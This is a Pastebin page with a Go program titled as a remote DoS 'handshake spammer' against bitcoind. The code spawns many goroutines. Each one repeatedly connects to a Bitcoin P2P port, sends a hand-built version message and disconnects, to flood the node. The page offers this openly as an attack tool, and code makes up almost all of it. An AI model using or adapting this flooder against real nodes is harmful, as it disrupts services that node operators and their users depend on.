Guest User

Remote bitcoind P2P DoS - Go handshake spammer code

a guest
Dec 16th, 2023
545
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 2.48 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "crypto/sha256"
  5.     "encoding/binary"
  6.     "fmt"
  7.     "net"
  8.     "sync/atomic"
  9.     "time"
  10. )
  11.  
  12. const (
  13.     Magic           uint32 = 0xD9B4BEF9
  14.     ProtocolVersion uint32 = 70017
  15.     ServerAddress          = "127.0.0.1:8333"
  16. )
  17.  
  18. var (
  19.     handshakeAttempts uint64
  20. )
  21.  
  22. func main() {
  23.     var numGoroutines int
  24.     fmt.Print("Enter the number of goroutines: ")
  25.     fmt.Scanln(&numGoroutines)
  26.  
  27.     versionPayload := createVersionPayload() // Create the version payload once
  28.  
  29.     for i := 0; i < numGoroutines; i++ {
  30.         go sendRapidHandshakes(versionPayload)
  31.     }
  32.  
  33.     select {}
  34. }
  35.  
  36. func sendRapidHandshakes(versionPayload []byte) {
  37.     for {
  38.         conn, err := net.Dial("tcp", ServerAddress)
  39.         if err != nil {
  40.             fmt.Println("Error connecting:", err)
  41.             continue
  42.         }
  43.  
  44.         if err := sendVersionMessage(conn, versionPayload); err != nil {
  45.             fmt.Println("Error sending version message:", err)
  46.         } else {
  47.             atomic.AddUint64(&handshakeAttempts, 1)
  48.             fmt.Printf("Handshake attempts: %d\n", atomic.LoadUint64(&handshakeAttempts))
  49.         }
  50.  
  51.         conn.Close() // Close immediately after sending
  52.     }
  53. }
  54.  
  55. func sendVersionMessage(conn net.Conn, versionPayload []byte) error {
  56.     _, err := conn.Write(packCommand("version", versionPayload))
  57.     return err
  58. }
  59.  
  60. func packCommand(command string, payload []byte) []byte {
  61.     var cmd [12]byte
  62.     copy(cmd[:], command)
  63.  
  64.     firstSHA := sha256.Sum256(payload)
  65.     checksum := sha256.Sum256(firstSHA[:])
  66.  
  67.     packet := make([]byte, 24+len(payload))
  68.     binary.LittleEndian.PutUint32(packet[0:4], Magic)
  69.     copy(packet[4:16], cmd[:])
  70.     binary.LittleEndian.PutUint32(packet[16:20], uint32(len(payload)))
  71.     copy(packet[20:24], checksum[:4])
  72.     copy(packet[24:], payload)
  73.  
  74.     return packet
  75. }
  76.  
  77. func createVersionPayload() []byte {
  78.     var addr [26]byte
  79.     binary.LittleEndian.PutUint64(addr[:8], 1) // services
  80.  
  81.     payload := make([]byte, 85)
  82.     binary.LittleEndian.PutUint32(payload, ProtocolVersion)
  83.     binary.LittleEndian.PutUint64(payload[4:12], uint64(time.Now().Unix()))
  84.     copy(payload[12:38], addr[:])
  85.     copy(payload[38:64], addr[:])
  86.     binary.LittleEndian.PutUint64(payload[64:72], 0) // nonce
  87.     copy(payload[72:80], []byte("/x.com/123456/"))
  88.     binary.LittleEndian.PutUint32(payload[80:84], 0) // start_height
  89.     payload[84] = 0                                  // relay
  90.  
  91.     return payload
  92. }
  93.  
Advertisement
Add Comment
Please, Sign In to add comment